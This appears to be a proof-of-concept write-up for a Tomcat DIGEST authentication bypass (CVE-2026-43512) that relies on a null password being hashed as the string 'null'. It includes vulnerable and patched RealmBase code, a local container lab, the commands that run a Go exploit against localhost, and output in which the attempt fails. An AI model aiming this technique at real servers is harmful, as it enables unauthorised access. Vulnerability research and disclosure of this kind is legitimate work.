A1 = MD5("<username>:<realm>:null")

// RealmBase.java — vulnerable
protected String getDigest(String username, String realmName, String algorithm) {
    if (hasMessageDigest(algorithm)) {
        return getPassword(username);  // returns null for unknown users
    }

    // null is concatenated as the literal "null" by Java
    String a1 = username + ":" + realmName + ":" + getPassword(username);
    return HexUtils.toHexString(
        ConcurrentMessageDigest.digest(algorithm, a1.getBytes(...))
    );
}

// RealmBase.java — patched
protected String getDigest(String username, String realmName, String algorithm) {
    String password = getPassword(username);
    if (password == null) {
        return null; 
    }
    ...
}

Digest:        2388e2c78407def640f37f092a8d3a84   ← client
Server digest: 2388e2c78407def640f37f092a8d3a84   ← server
Failed to authenticate user [ghost]

// RealmBase.authenticate()
if (serverDigest.equals(clientDigest)) {
    return getPrincipal(username);  // returns null for non-existent users
}
return null;

cve-2026-43512-poc/
├── Dockerfile                          # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml                    # Minimal Realm config — no user "ghost"
├── web.xml
├── exploit/
│   ├── exploit.go                      # PoC — Go, stdlib only
│   └── go.mod
└── README.md

podman build -t tomcat-cve-2026-43512 .
podman run -d --name tomcat-vuln -p 8080:8080 tomcat-cve-2026-43512

curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401

cd exploit
go run exploit.go \
  -target   http://localhost:8080 \
  -path     /protected/secret.html \
  -username ghost

org.apache.catalina.authenticator.level = FINE
org.apache.catalina.realm.level = FINE

podman run -d --name tomcat-vuln -p 8080:8080 \
  -v ./logging.properties:/usr/local/tomcat/conf/logging.properties:ro \
  tomcat-cve-2026-43512

podman stop tomcat-vuln && podman rm tomcat-vuln

============================================================
 CVE-2026-43512 — Tomcat DIGEST Auth Bypass PoC
============================================================
 Target   : http://localhost:8080/protected/secret.html
 Username : "ghost"  (must NOT exist in tomcat-users.xml)
 Password : "null"   (literal string)
------------------------------------------------------------
[1] Sending unauthenticated request to obtain DIGEST challenge...
[+] HTTP 401 received — DIGEST challenge:
    Digest realm="UserDatabase", qop="auth", nonce="...", opaque="..."

[*] realm="UserDatabase"  nonce="..."  qop="auth"  algorithm="MD5"

[2] Computing DIGEST response with password="null"...
    Digest username="ghost", realm="UserDatabase", ...

[3] Sending request with crafted DIGEST credentials...
------------------------------------------------------------
[✗] HTTP 401 — exploit failed.
    The UserDatabaseRealm provides a second line of defence:
    getPrincipal("ghost") returned null after the digest matched.
============================================================